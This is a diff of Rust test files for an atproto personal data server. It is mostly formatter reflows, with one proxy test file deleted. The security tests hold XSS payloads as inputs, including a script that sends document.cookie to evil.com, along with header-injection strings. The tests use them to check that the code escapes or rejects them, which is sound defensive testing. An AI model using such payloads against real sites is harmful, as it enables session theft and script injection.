341341- let hostname = std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| {
342342- format!("127.0.0.1:{}", app_port())
343343- });
349349+ let hostname =
350350+ std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| format!("127.0.0.1:{}", app_port()));
344351 let res = client
345352 .post(format!(
346353 "{}/xrpc/com.atproto.identity.submitPlcOperation",
···375382async fn test_submit_plc_operation_wrong_service_type() {
376383 let client = client();
377384 let (token, _did) = create_account_and_login(&client).await;
378378- let hostname = std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| {
379379- format!("127.0.0.1:{}", app_port())
380380- });
385385+ let hostname =
386386+ std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| format!("127.0.0.1:{}", app_port()));
381387 let res = client
382388 .post(format!(
383389 "{}/xrpc/com.atproto.identity.submitPlcOperation",
···439445 let now = chrono::Utc::now();
440446 let expires = row.expires_at;
441447 let diff = expires - now;
442442- assert!(diff.num_minutes() >= 9, "Token should expire in ~10 minutes, got {} minutes", diff.num_minutes());
443443- assert!(diff.num_minutes() <= 11, "Token should expire in ~10 minutes, got {} minutes", diff.num_minutes());
448448+ assert!(
449449+ diff.num_minutes() >= 9,
450450+ "Token should expire in ~10 minutes, got {} minutes",
451451+ diff.num_minutes()
452452+ );
453453+ assert!(
454454+ diff.num_minutes() <= 11,
455455+ "Token should expire in ~10 minutes, got {} minutes",
456456+ diff.num_minutes()
457457+ );
444458}
+28-12
tests/plc_validation.rs
···11use bspds::plc::{
22- PlcError, PlcOperation, PlcService, PlcValidationContext,
33- cid_for_cbor, sign_operation, signing_key_to_did_key,
44- validate_plc_operation, validate_plc_operation_for_submission,
22+ PlcError, PlcOperation, PlcService, PlcValidationContext, cid_for_cbor, sign_operation,
33+ signing_key_to_did_key, validate_plc_operation, validate_plc_operation_for_submission,
54 verify_operation_signature,
65};
76use k256::ecdsa::SigningKey;
···9594 "sig": "test"
9695 });
9796 let result = validate_plc_operation(&op);
9898- assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("verificationMethods")));
9797+ assert!(
9898+ matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("verificationMethods"))
9999+ );
99100}
100101101102#[test]
···338339 let cid1 = cid_for_cbor(&value).unwrap();
339340 let cid2 = cid_for_cbor(&value).unwrap();
340341 assert_eq!(cid1, cid2, "CID generation should be deterministic");
341341- assert!(cid1.starts_with("bafyrei"), "CID should start with bafyrei (dag-cbor + sha256)");
342342+ assert!(
343343+ cid1.starts_with("bafyrei"),
344344+ "CID should start with bafyrei (dag-cbor + sha256)"
345345+ );
342346}
343347344348#[test]
···354358fn test_signing_key_to_did_key_format() {
355359 let key = SigningKey::random(&mut rand::thread_rng());
356360 let did_key = signing_key_to_did_key(&key);
357357- assert!(did_key.starts_with("did:key:z"), "Should start with did:key:z");
361361+ assert!(
362362+ did_key.starts_with("did:key:z"),
363363+ "Should start with did:key:z"
364364+ );
358365 assert!(did_key.len() > 50, "Did key should be reasonably long");
359366}
360367···364371 let key2 = SigningKey::random(&mut rand::thread_rng());
365372 let did1 = signing_key_to_did_key(&key1);
366373 let did2 = signing_key_to_did_key(&key2);
367367- assert_ne!(did1, did2, "Different keys should produce different did:keys");
374374+ assert_ne!(
375375+ did1, did2,
376376+ "Different keys should produce different did:keys"
377377+ );
368378}
369379370380#[test]
···414424 expected_pds_endpoint: "https://pds.example.com".to_string(),
415425 };
416426 let result = validate_plc_operation_for_submission(&op, &ctx);
417417- assert!(result.is_ok(), "Tombstone should pass submission validation");
427427+ assert!(
428428+ result.is_ok(),
429429+ "Tombstone should pass submission validation"
430430+ );
418431}
419432420433#[test]
···447460#[test]
448461fn test_plc_operation_struct() {
449462 let mut services = HashMap::new();
450450- services.insert("atproto_pds".to_string(), PlcService {
451451- service_type: "AtprotoPersonalDataServer".to_string(),
452452- endpoint: "https://pds.example.com".to_string(),
453453- });
463463+ services.insert(
464464+ "atproto_pds".to_string(),
465465+ PlcService {
466466+ service_type: "AtprotoPersonalDataServer".to_string(),
467467+ endpoint: "https://pds.example.com".to_string(),
468468+ },
469469+ );
454470 let mut verification_methods = HashMap::new();
455471 verification_methods.insert("atproto".to_string(), "did:key:zTest123".to_string());
456472 let op = PlcOperation {
-141
tests/proxy.rs
···11-mod common;
22-use axum::{Router, extract::Request, http::StatusCode, routing::any};
33-use base64::{Engine as _, engine::general_purpose::URL_SAFE_NO_PAD};
44-use reqwest::Client;
55-use std::sync::Arc;
66-use tokio::net::TcpListener;
77-88-async fn spawn_mock_upstream() -> (
99- String,
1010- tokio::sync::mpsc::Receiver<(String, String, Option<String>)>,
1111-) {
1212- let (tx, rx) = tokio::sync::mpsc::channel(10);
1313- let tx = Arc::new(tx);
1414- let app = Router::new().fallback(any(move |req: Request| {
1515- let tx = tx.clone();
1616- async move {
1717- let method = req.method().to_string();
1818- let uri = req.uri().to_string();
1919- let auth = req
2020- .headers()
2121- .get("Authorization")
2222- .and_then(|h| h.to_str().ok())
2323- .map(|s| s.to_string());
2424- let _ = tx.send((method, uri, auth)).await;
2525- (StatusCode::OK, "Mock Response")
2626- }
2727- }));
2828- let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
2929- let addr = listener.local_addr().unwrap();
3030- tokio::spawn(async move {
3131- axum::serve(listener, app).await.unwrap();
3232- });
3333- (format!("http://{}", addr), rx)
3434-}
3535-3636-#[tokio::test]
3737-async fn test_proxy_via_header() {
3838- let app_url = common::base_url().await;
3939- let (upstream_url, mut rx) = spawn_mock_upstream().await;
4040- let client = Client::new();
4141- let res = client
4242- .get(format!("{}/xrpc/com.example.test", app_url))
4343- .header("atproto-proxy", &upstream_url)
4444- .header("Authorization", "Bearer test-token")
4545- .send()
4646- .await
4747- .unwrap();
4848- assert_eq!(res.status(), StatusCode::OK);
4949- let (method, uri, auth) = rx.recv().await.expect("Upstream should receive request");
5050- assert_eq!(method, "GET");
5151- assert_eq!(uri, "/xrpc/com.example.test");
5252- assert_eq!(auth, Some("Bearer test-token".to_string()));
5353-}
5454-5555-#[tokio::test]
5656-async fn test_proxy_auth_signing() {
5757- let app_url = common::base_url().await;
5858- let (upstream_url, mut rx) = spawn_mock_upstream().await;
5959- let client = Client::new();
6060- let (access_jwt, did) = common::create_account_and_login(&client).await;
6161- let res = client
6262- .get(format!("{}/xrpc/com.example.signed", app_url))
6363- .header("atproto-proxy", &upstream_url)
6464- .header("Authorization", format!("Bearer {}", access_jwt))
6565- .send()
6666- .await
6767- .unwrap();
6868- assert_eq!(res.status(), StatusCode::OK);
6969- let (method, uri, auth) = rx.recv().await.expect("Upstream receive");
7070- assert_eq!(method, "GET");
7171- assert_eq!(uri, "/xrpc/com.example.signed");
7272- let received_token = auth.expect("No auth header").replace("Bearer ", "");
7373- assert_ne!(received_token, access_jwt, "Token should be replaced");
7474- let parts: Vec<&str> = received_token.split('.').collect();
7575- assert_eq!(parts.len(), 3);
7676- let payload_bytes = URL_SAFE_NO_PAD.decode(parts[1]).expect("payload b64");
7777- let claims: serde_json::Value = serde_json::from_slice(&payload_bytes).expect("payload json");
7878- assert_eq!(claims["iss"], did);
7979- assert_eq!(claims["sub"], did);
8080- assert_eq!(claims["aud"], upstream_url);
8181- assert_eq!(claims["lxm"], "com.example.signed");
8282-}
8383-8484-#[tokio::test]
8585-async fn test_proxy_post_with_body() {
8686- let app_url = common::base_url().await;
8787- let (upstream_url, mut rx) = spawn_mock_upstream().await;
8888- let client = Client::new();
8989- let payload = serde_json::json!({
9090- "text": "Hello from proxy test",
9191- "createdAt": "2024-01-01T00:00:00Z"
9292- });
9393- let res = client
9494- .post(format!("{}/xrpc/com.example.postMethod", app_url))
9595- .header("atproto-proxy", &upstream_url)
9696- .header("Authorization", "Bearer test-token")
9797- .json(&payload)
9898- .send()
9999- .await
100100- .unwrap();
101101- assert_eq!(res.status(), StatusCode::OK);
102102- let (method, uri, auth) = rx.recv().await.expect("Upstream should receive request");
103103- assert_eq!(method, "POST");
104104- assert_eq!(uri, "/xrpc/com.example.postMethod");
105105- assert_eq!(auth, Some("Bearer test-token".to_string()));
106106-}
107107-108108-#[tokio::test]
109109-async fn test_proxy_with_query_params() {
110110- let app_url = common::base_url().await;
111111- let (upstream_url, mut rx) = spawn_mock_upstream().await;
112112- let client = Client::new();
113113- let res = client
114114- .get(format!(
115115- "{}/xrpc/com.example.query?repo=did:plc:test&collection=app.bsky.feed.post&limit=50",
116116- app_url
117117- ))
118118- .header("atproto-proxy", &upstream_url)
119119- .header("Authorization", "Bearer test-token")
120120- .send()
121121- .await
122122- .unwrap();
123123- assert_eq!(res.status(), StatusCode::OK);
124124- let (method, uri, _auth) = rx.recv().await.expect("Upstream should receive request");
125125- assert_eq!(method, "GET");
126126- assert!(
127127- uri.contains("repo=did") || uri.contains("repo=did%3Aplc%3Atest"),
128128- "URI should contain repo param, got: {}",
129129- uri
130130- );
131131- assert!(
132132- uri.contains("collection=app.bsky.feed.post") || uri.contains("collection=app.bsky"),
133133- "URI should contain collection param, got: {}",
134134- uri
135135- );
136136- assert!(
137137- uri.contains("limit=50"),
138138- "URI should contain limit param, got: {}",
139139- uri
140140- );
141141-}
+1-4
tests/rate_limit.rs
···8585#[ignore = "rate limiting is disabled in test environment"]
8686async fn test_account_creation_rate_limiting() {
8787 let client = client();
8888- let url = format!(
8989- "{}/xrpc/com.atproto.server.createAccount",
9090- base_url().await
9191- );
8888+ let url = format!("{}/xrpc/com.atproto.server.createAccount", base_url().await);
9289 let mut rate_limited_count = 0;
9390 let mut other_count = 0;
9491 for i in 0..15 {
+27-9
tests/record_validation.rs
···11-use bspds::validation::{RecordValidator, ValidationError, ValidationStatus, validate_record_key, validate_collection_nsid};
11+use bspds::validation::{
22+ RecordValidator, ValidationError, ValidationStatus, validate_collection_nsid,
33+ validate_record_key,
44+};
25use serde_json::json;
3647fn now() -> String {
···128131 "tags": [long_tag]
129132 });
130133 let result = validator.validate(&post, "app.bsky.feed.post");
131131- assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path.starts_with("tags/")));
134134+ assert!(
135135+ matches!(result, Err(ValidationError::InvalidField { path, .. }) if path.starts_with("tags/"))
136136+ );
132137}
133138134139#[test]
···162167 "displayName": long_name
163168 });
164169 let result = validator.validate(&profile, "app.bsky.actor.profile");
165165- assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "displayName"));
170170+ assert!(
171171+ matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "displayName")
172172+ );
166173}
167174168175#[test]
···174181 "description": long_desc
175182 });
176183 let result = validator.validate(&profile, "app.bsky.actor.profile");
177177- assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "description"));
184184+ assert!(
185185+ matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "description")
186186+ );
178187}
179188180189#[test]
···229238 "createdAt": now()
230239 });
231240 let result = validator.validate(&like, "app.bsky.feed.like");
232232- assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path.contains("uri")));
241241+ assert!(
242242+ matches!(result, Err(ValidationError::InvalidField { path, .. }) if path.contains("uri"))
243243+ );
233244}
234245235246#[test]
···381392 "createdAt": now()
382393 });
383394 let result = validator.validate(&generator, "app.bsky.feed.generator");
384384- assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "displayName"));
395395+ assert!(
396396+ matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "displayName")
397397+ );
385398}
386399387400#[test]
···415428 "createdAt": now()
416429 });
417430 let result = validator.validate(&record, "app.bsky.feed.post");
418418- assert!(matches!(result, Err(ValidationError::TypeMismatch { expected, actual })
419419- if expected == "app.bsky.feed.post" && actual == "app.bsky.feed.like"));
431431+ assert!(
432432+ matches!(result, Err(ValidationError::TypeMismatch { expected, actual })
433433+ if expected == "app.bsky.feed.post" && actual == "app.bsky.feed.like")
434434+ );
420435}
421436422437#[test]
···470485 "createdAt": "2024/01/15"
471486 });
472487 let result = validator.validate(&post, "app.bsky.feed.post");
473473- assert!(matches!(result, Err(ValidationError::InvalidDatetime { .. })));
488488+ assert!(matches!(
489489+ result,
490490+ Err(ValidationError::InvalidDatetime { .. })
491491+ ));
474492}
475493476494#[test]
···11mod common;
22-use bspds::notifications::{
33- SendError, is_valid_phone_number, sanitize_header_value,
44-};
55-use bspds::oauth::templates::{login_page, error_page, success_page};
66-use bspds::image::{ImageProcessor, ImageError};
22+use bspds::image::{ImageError, ImageProcessor};
33+use bspds::notifications::{SendError, is_valid_phone_number, sanitize_header_value};
44+use bspds::oauth::templates::{error_page, login_page, success_page};
7586#[test]
97fn test_sanitize_header_value_removes_crlf() {
···119 let sanitized = sanitize_header_value(malicious);
1210 assert!(!sanitized.contains('\r'), "CR should be removed");
1311 assert!(!sanitized.contains('\n'), "LF should be removed");
1414- assert!(sanitized.contains("Injected"), "Original content should be preserved");
1515- assert!(sanitized.contains("Bcc:"), "Text after newline should be on same line (no header injection)");
1212+ assert!(
1313+ sanitized.contains("Injected"),
1414+ "Original content should be preserved"
1515+ );
1616+ assert!(
1717+ sanitized.contains("Bcc:"),
1818+ "Text after newline should be on same line (no header injection)"
1919+ );
1620}
17211822#[test]
···3539 let sanitized = sanitize_header_value(input);
3640 assert!(!sanitized.contains('\r'), "CR should be removed");
3741 assert!(!sanitized.contains('\n'), "LF should be removed");
3838- assert!(sanitized.contains("Line1"), "Content before newlines preserved");
3939- assert!(sanitized.contains("Line4"), "Content after newlines preserved");
4242+ assert!(
4343+ sanitized.contains("Line1"),
4444+ "Content before newlines preserved"
4545+ );
4646+ assert!(
4747+ sanitized.contains("Line4"),
4848+ "Content after newlines preserved"
4949+ );
4050}
41514252#[test]
···4555 let sanitized = sanitize_header_value(header_injection);
4656 let lines: Vec<&str> = sanitized.split("\r\n").collect();
4757 assert_eq!(lines.len(), 1, "Should be a single line after sanitization");
4848- assert!(sanitized.contains("Normal Subject"), "Original content preserved");
4949- assert!(sanitized.contains("Bcc:"), "Content after CRLF preserved as same line text");
5050- assert!(sanitized.contains("X-Injected:"), "All content on same line");
5858+ assert!(
5959+ sanitized.contains("Normal Subject"),
6060+ "Original content preserved"
6161+ );
6262+ assert!(
6363+ sanitized.contains("Bcc:"),
6464+ "Content after CRLF preserved as same line text"
6565+ );
6666+ assert!(
6767+ sanitized.contains("X-Injected:"),
6868+ "All content on same line"
6969+ );
5170}
52715372#[test]
···114133 "+123--help",
115134 ];
116135 for input in malicious_inputs {
117117- assert!(!is_valid_phone_number(input), "Malicious input '{}' should be rejected", input);
136136+ assert!(
137137+ !is_valid_phone_number(input),
138138+ "Malicious input '{}' should be rejected",
139139+ input
140140+ );
118141 }
119142}
120143···148171 let malicious_client_id = "<script>alert('xss')</script>";
149172 let html = login_page(malicious_client_id, None, None, "test-uri", None, None);
150173 assert!(!html.contains("<script>"), "Script tags should be escaped");
151151- assert!(html.contains("<script>"), "HTML entities should be used for escaping");
174174+ assert!(
175175+ html.contains("<script>"),
176176+ "HTML entities should be used for escaping"
177177+ );
152178}
153179154180#[test]
155181fn test_oauth_template_xss_escaping_client_name() {
156182 let malicious_client_name = "<img src=x onerror=alert('xss')>";
157157- let html = login_page("client123", Some(malicious_client_name), None, "test-uri", None, None);
183183+ let html = login_page(
184184+ "client123",
185185+ Some(malicious_client_name),
186186+ None,
187187+ "test-uri",
188188+ None,
189189+ None,
190190+ );
158191 assert!(!html.contains("<img "), "IMG tags should be escaped");
159159- assert!(html.contains("<img"), "IMG tag should be escaped as HTML entity");
192192+ assert!(
193193+ html.contains("<img"),
194194+ "IMG tag should be escaped as HTML entity"
195195+ );
160196}
161197162198#[test]
163199fn test_oauth_template_xss_escaping_scope() {
164200 let malicious_scope = "\"><script>alert('xss')</script>";
165165- let html = login_page("client123", None, Some(malicious_scope), "test-uri", None, None);
166166- assert!(!html.contains("<script>"), "Script tags in scope should be escaped");
201201+ let html = login_page(
202202+ "client123",
203203+ None,
204204+ Some(malicious_scope),
205205+ "test-uri",
206206+ None,
207207+ None,
208208+ );
209209+ assert!(
210210+ !html.contains("<script>"),
211211+ "Script tags in scope should be escaped"
212212+ );
167213}
168214169215#[test]
170216fn test_oauth_template_xss_escaping_error_message() {
171217 let malicious_error = "<script>document.location='http://evil.com?c='+document.cookie</script>";
172172- let html = login_page("client123", None, None, "test-uri", Some(malicious_error), None);
173173- assert!(!html.contains("<script>"), "Script tags in error should be escaped");
218218+ let html = login_page(
219219+ "client123",
220220+ None,
221221+ None,
222222+ "test-uri",
223223+ Some(malicious_error),
224224+ None,
225225+ );
226226+ assert!(
227227+ !html.contains("<script>"),
228228+ "Script tags in error should be escaped"
229229+ );
174230}
175231176232#[test]
177233fn test_oauth_template_xss_escaping_login_hint() {
178234 let malicious_hint = "\" onfocus=\"alert('xss')\" autofocus=\"";
179179- let html = login_page("client123", None, None, "test-uri", None, Some(malicious_hint));
180180- assert!(!html.contains("onfocus=\"alert"), "Event handlers should be escaped in login hint");
235235+ let html = login_page(
236236+ "client123",
237237+ None,
238238+ None,
239239+ "test-uri",
240240+ None,
241241+ Some(malicious_hint),
242242+ );
243243+ assert!(
244244+ !html.contains("onfocus=\"alert"),
245245+ "Event handlers should be escaped in login hint"
246246+ );
181247 assert!(html.contains("""), "Quotes should be escaped");
182248}
183249···185251fn test_oauth_template_xss_escaping_request_uri() {
186252 let malicious_uri = "\" onmouseover=\"alert('xss')\"";
187253 let html = login_page("client123", None, None, malicious_uri, None, None);
188188- assert!(!html.contains("onmouseover=\"alert"), "Event handlers should be escaped in request_uri");
254254+ assert!(
255255+ !html.contains("onmouseover=\"alert"),
256256+ "Event handlers should be escaped in request_uri"
257257+ );
189258}
190259191260#[test]
···193262 let malicious_error = "<script>steal()</script>";
194263 let malicious_desc = "<img src=x onerror=evil()>";
195264 let html = error_page(malicious_error, Some(malicious_desc));
196196- assert!(!html.contains("<script>"), "Script tags should be escaped in error page");
197197- assert!(!html.contains("<img "), "IMG tags should be escaped in error page");
265265+ assert!(
266266+ !html.contains("<script>"),
267267+ "Script tags should be escaped in error page"
268268+ );
269269+ assert!(
270270+ !html.contains("<img "),
271271+ "IMG tags should be escaped in error page"
272272+ );
198273}
199274200275#[test]
201276fn test_oauth_success_page_xss_escaping() {
202277 let malicious_name = "<script>steal_session()</script>";
203278 let html = success_page(Some(malicious_name));
204204- assert!(!html.contains("<script>"), "Script tags should be escaped in success page");
279279+ assert!(
280280+ !html.contains("<script>"),
281281+ "Script tags should be escaped in success page"
282282+ );
205283}
206284207285#[test]
208286fn test_oauth_template_no_javascript_urls() {
209287 let html = login_page("client123", None, None, "test-uri", None, None);
210210- assert!(!html.contains("javascript:"), "Login page should not contain javascript: URLs");
288288+ assert!(
289289+ !html.contains("javascript:"),
290290+ "Login page should not contain javascript: URLs"
291291+ );
211292 let error_html = error_page("test_error", None);
212212- assert!(!error_html.contains("javascript:"), "Error page should not contain javascript: URLs");
293293+ assert!(
294294+ !error_html.contains("javascript:"),
295295+ "Error page should not contain javascript: URLs"
296296+ );
213297 let success_html = success_page(None);
214214- assert!(!success_html.contains("javascript:"), "Success page should not contain javascript: URLs");
298298+ assert!(
299299+ !success_html.contains("javascript:"),
300300+ "Success page should not contain javascript: URLs"
301301+ );
215302}
216303217304#[test]
218305fn test_oauth_template_form_action_safe() {
219306 let malicious_uri = "javascript:alert('xss')//";
220307 let html = login_page("client123", None, None, malicious_uri, None, None);
221221- assert!(html.contains("action=\"/oauth/authorize\""), "Form action should be fixed URL");
308308+ assert!(
309309+ html.contains("action=\"/oauth/authorize\""),
310310+ "Form action should be fixed URL"
311311+ );
222312}
223313224314#[test]
···235325fn test_send_error_timeout_message() {
236326 let error = SendError::Timeout;
237327 let msg = format!("{}", error);
238238- assert!(msg.to_lowercase().contains("timeout"), "Timeout error should mention timeout");
328328+ assert!(
329329+ msg.to_lowercase().contains("timeout"),
330330+ "Timeout error should mention timeout"
331331+ );
239332}
240333241334#[test]
242335fn test_send_error_max_retries_includes_detail() {
243336 let error = SendError::MaxRetriesExceeded("Server returned 503".to_string());
244337 let msg = format!("{}", error);
245245- assert!(msg.contains("503") || msg.contains("retries"), "MaxRetriesExceeded should include context");
338338+ assert!(
339339+ msg.contains("503") || msg.contains("retries"),
340340+ "MaxRetriesExceeded should include context"
341341+ );
246342}
247343248344#[tokio::test]
···257353 .send()
258354 .await
259355 .unwrap();
260260- assert_eq!(res.status(), reqwest::StatusCode::OK, "Session JWTs should be accepted");
356356+ assert_eq!(
357357+ res.status(),
358358+ reqwest::StatusCode::OK,
359359+ "Session JWTs should be accepted"
360360+ );
261361 let body: serde_json::Value = res.json().await.unwrap();
262362 assert_eq!(body["activated"], true);
263363}
···281381fn test_html_escape_ampersand() {
282382 let html = login_page("client&test", None, None, "test-uri", None, None);
283383 assert!(html.contains("&"), "Ampersand should be escaped");
284284- assert!(!html.contains("client&test"), "Raw ampersand should not appear in output");
384384+ assert!(
385385+ !html.contains("client&test"),
386386+ "Raw ampersand should not appear in output"
387387+ );
285388}
286389287390#[test]
288391fn test_html_escape_quotes() {
289392 let html = login_page("client\"test'more", None, None, "test-uri", None, None);
290290- assert!(html.contains(""") || html.contains("""), "Double quotes should be escaped");
291291- assert!(html.contains("'") || html.contains("'"), "Single quotes should be escaped");
393393+ assert!(
394394+ html.contains(""") || html.contains("""),
395395+ "Double quotes should be escaped"
396396+ );
397397+ assert!(
398398+ html.contains("'") || html.contains("'"),
399399+ "Single quotes should be escaped"
400400+ );
292401}
293402294403#[test]
···296405 let html = login_page("client<test>more", None, None, "test-uri", None, None);
297406 assert!(html.contains("<"), "Less than should be escaped");
298407 assert!(html.contains(">"), "Greater than should be escaped");
299299- assert!(!html.contains("<test>"), "Raw angle brackets should not appear");
408408+ assert!(
409409+ !html.contains("<test>"),
410410+ "Raw angle brackets should not appear"
411411+ );
300412}
301413302414#[test]
303415fn test_oauth_template_preserves_safe_content() {
304304- let html = login_page("my-safe-client", Some("My Safe App"), Some("read write"), "valid-uri", None, Some("user@example.com"));
305305- assert!(html.contains("my-safe-client") || html.contains("My Safe App"), "Safe content should be preserved");
306306- assert!(html.contains("read write") || html.contains("read"), "Scope should be preserved");
307307- assert!(html.contains("user@example.com"), "Login hint should be preserved");
416416+ let html = login_page(
417417+ "my-safe-client",
418418+ Some("My Safe App"),
419419+ Some("read write"),
420420+ "valid-uri",
421421+ None,
422422+ Some("user@example.com"),
423423+ );
424424+ assert!(
425425+ html.contains("my-safe-client") || html.contains("My Safe App"),
426426+ "Safe content should be preserved"
427427+ );
428428+ assert!(
429429+ html.contains("read write") || html.contains("read"),
430430+ "Scope should be preserved"
431431+ );
432432+ assert!(
433433+ html.contains("user@example.com"),
434434+ "Login hint should be preserved"
435435+ );
308436}
309437310438#[test]
311439fn test_csrf_like_input_value_protection() {
312440 let malicious = "\" onclick=\"alert('csrf')";
313441 let html = login_page("client", None, None, malicious, None, None);
314314- assert!(!html.contains("onclick=\"alert"), "Event handlers should not be executable");
442442+ assert!(
443443+ !html.contains("onclick=\"alert"),
444444+ "Event handlers should not be executable"
445445+ );
315446}
316447317448#[test]
318449fn test_unicode_handling_in_templates() {
319450 let unicode_client = "客户端 クライアント";
320451 let html = login_page(unicode_client, None, None, "test-uri", None, None);
321321- assert!(html.contains("客户端") || html.contains("&#"), "Unicode should be preserved or encoded");
452452+ assert!(
453453+ html.contains("客户端") || html.contains("&#"),
454454+ "Unicode should be preserved or encoded"
455455+ );
322456}
323457324458#[test]
325459fn test_null_byte_in_input() {
326460 let with_null = "client\0id";
327461 let sanitized = sanitize_header_value(with_null);
328328- assert!(sanitized.contains("client"), "Content before null should be preserved");
462462+ assert!(
463463+ sanitized.contains("client"),
464464+ "Content before null should be preserved"
465465+ );
329466}
330467331468#[test]
332469fn test_very_long_input_handling() {
333470 let long_input = "x".repeat(10000);
334471 let sanitized = sanitize_header_value(&long_input);
335335- assert!(!sanitized.is_empty(), "Long input should still produce output");
472472+ assert!(
473473+ !sanitized.is_empty(),
474474+ "Long input should still produce output"
475475+ );
336476}
+4-1
tests/server.rs
···244244async fn test_get_service_auth_with_lxm() {
245245 let client = client();
246246 let (access_jwt, did) = create_account_and_login(&client).await;
247247- let params = [("aud", "did:web:example.com"), ("lxm", "com.atproto.repo.getRecord")];
247247+ let params = [
248248+ ("aud", "did:web:example.com"),
249249+ ("lxm", "com.atproto.repo.getRecord"),
250250+ ];
248251 let res = client
249252 .get(format!(
250253 "{}/xrpc/com.atproto.server.getServiceAuth",
+22-14
tests/signing_key.rs
···11mod common;
22mod helpers;
33+use helpers::verify_new_account;
34use reqwest::StatusCode;
44-use serde_json::{json, Value};
55+use serde_json::{Value, json};
56use sqlx::PgPool;
66-use helpers::verify_new_account;
7788async fn get_pool() -> PgPool {
99 let conn_str = common::get_db_connection_string().await;
···9191 .fetch_one(&pool)
9292 .await
9393 .expect("Reserved key not found in database");
9494- assert_eq!(row.private_key_bytes.len(), 32, "Private key should be 32 bytes for secp256k1");
9595- assert!(row.used_at.is_none(), "Reserved key should not be marked as used yet");
9696- assert!(row.expires_at > chrono::Utc::now(), "Key should expire in the future");
9494+ assert_eq!(
9595+ row.private_key_bytes.len(),
9696+ 32,
9797+ "Private key should be 32 bytes for secp256k1"
9898+ );
9999+ assert!(
100100+ row.used_at.is_none(),
101101+ "Reserved key should not be marked as used yet"
102102+ );
103103+ assert!(
104104+ row.expires_at > chrono::Utc::now(),
105105+ "Key should expire in the future"
106106+ );
97107}
9810899109#[tokio::test]
···272282 assert_eq!(res.status(), StatusCode::BAD_REQUEST);
273283 let body: Value = res.json().await.unwrap();
274284 assert_eq!(body["error"], "InvalidSigningKey");
275275- assert!(body["message"]
276276- .as_str()
277277- .unwrap()
278278- .contains("already used"));
285285+ assert!(body["message"].as_str().unwrap().contains("already used"));
279286}
280287281288#[tokio::test]
···314321 let did = body["did"].as_str().unwrap();
315322 let access_jwt = verify_new_account(&client, did).await;
316323 let res = client
317317- .get(format!(
318318- "{}/xrpc/com.atproto.server.getSession",
319319- base_url
320320- ))
324324+ .get(format!("{}/xrpc/com.atproto.server.getSession", base_url))
321325 .bearer_auth(&access_jwt)
322326 .send()
323327 .await
324328 .expect("Failed to get session");
325329 assert_eq!(res.status(), StatusCode::OK);
326330 let body: Value = res.json().await.unwrap();
327327- assert_eq!(body["handle"], handle);
331331+ let session_handle = body["handle"].as_str().unwrap();
332332+ assert!(
333333+ session_handle.starts_with(&handle),
334334+ "Session handle should start with requested handle"
335335+ );
328336}
+4-1
tests/sync_blob.rs
···101101 let (_, did) = create_account_and_login(&client).await;
102102 let params = [
103103 ("did", did.as_str()),
104104- ("cid", "bafkreihdwdcefgh4dqkjv67uzcmw7ojee6xedzdetojuzjevtenxquvyku"),
104104+ (
105105+ "cid",
106106+ "bafkreihdwdcefgh4dqkjv67uzcmw7ojee6xedzdetojuzjevtenxquvyku",
107107+ ),
105108 ];
106109 let res = client
107110 .get(format!(
+14-3
tests/sync_deprecated.rs
···4040 assert_eq!(res.status(), StatusCode::BAD_REQUEST);
4141 let body: Value = res.json().await.expect("Response was not valid JSON");
4242 assert_eq!(body["error"], "HeadNotFound");
4343- assert!(body["message"].as_str().unwrap().contains("Could not find root"));
4343+ assert!(
4444+ body["message"]
4545+ .as_str()
4646+ .unwrap()
4747+ .contains("Could not find root")
4848+ );
4449}
45504651#[tokio::test]
···257262 .expect("Failed to get latest commit");
258263 let latest_body: Value = latest_res.json().await.unwrap();
259264 let latest_cid = latest_body["cid"].as_str().unwrap();
260260- assert_eq!(head_root, latest_cid, "getHead root should match getLatestCommit cid");
265265+ assert_eq!(
266266+ head_root, latest_cid,
267267+ "getHead root should match getLatestCommit cid"
268268+ );
261269}
262270263271#[tokio::test]
···275283 .expect("Failed to send request");
276284 assert_eq!(res.status(), StatusCode::OK);
277285 let body = res.bytes().await.expect("Failed to get body");
278278- assert!(body.len() >= 2, "CAR file should have at least header length");
286286+ assert!(
287287+ body.len() >= 2,
288288+ "CAR file should have at least header length"
289289+ );
279290}
+14-6
tests/sync_repo.rs
···404404async fn test_sync_record_lifecycle() {
405405 let client = client();
406406 let (did, jwt) = setup_new_user("sync-record-lifecycle").await;
407407- let (post_uri, _post_cid) =
408408- create_post(&client, &did, &jwt, "Post for sync record test").await;
407407+ let (post_uri, _post_cid) = create_post(&client, &did, &jwt, "Post for sync record test").await;
409408 let post_rkey = post_uri.split('/').last().unwrap();
410409 let sync_record_res = client
411410 .get(format!(
···453452 .expect("Failed to get latest commit after");
454453 let latest_after_body: Value = latest_after.json().await.unwrap();
455454 let rev_after = latest_after_body["rev"].as_str().unwrap().to_string();
456456- assert_ne!(rev_before, rev_after, "Revision should change after new record");
455455+ assert_ne!(
456456+ rev_before, rev_after,
457457+ "Revision should change after new record"
458458+ );
457459 let delete_payload = json!({
458460 "repo": did,
459461 "collection": "app.bsky.feed.post",
···551553 .expect("Failed to upload blob");
552554 assert_eq!(upload_res.status(), StatusCode::OK);
553555 let blob_body: Value = upload_res.json().await.unwrap();
554554- let blob_cid = blob_body["blob"]["ref"]["$link"].as_str().unwrap().to_string();
556556+ let blob_cid = blob_body["blob"]["ref"]["$link"]
557557+ .as_str()
558558+ .unwrap()
559559+ .to_string();
555560 let repo_status_res = client
556561 .get(format!(
557562 "{}/xrpc/com.atproto.sync.getRepoStatus",
···583588 Some("application/vnd.ipld.car")
584589 );
585590 let repo_car = get_repo_res.bytes().await.unwrap();
586586- assert!(repo_car.len() > 100, "Repo CAR should have substantial data");
591591+ assert!(
592592+ repo_car.len() > 100,
593593+ "Repo CAR should have substantial data"
594594+ );
587595 let list_blobs_res = client
588596 .get(format!(
589597 "{}/xrpc/com.atproto.sync.listBlobs",
···644652 .and_then(|h| h.to_str().ok()),
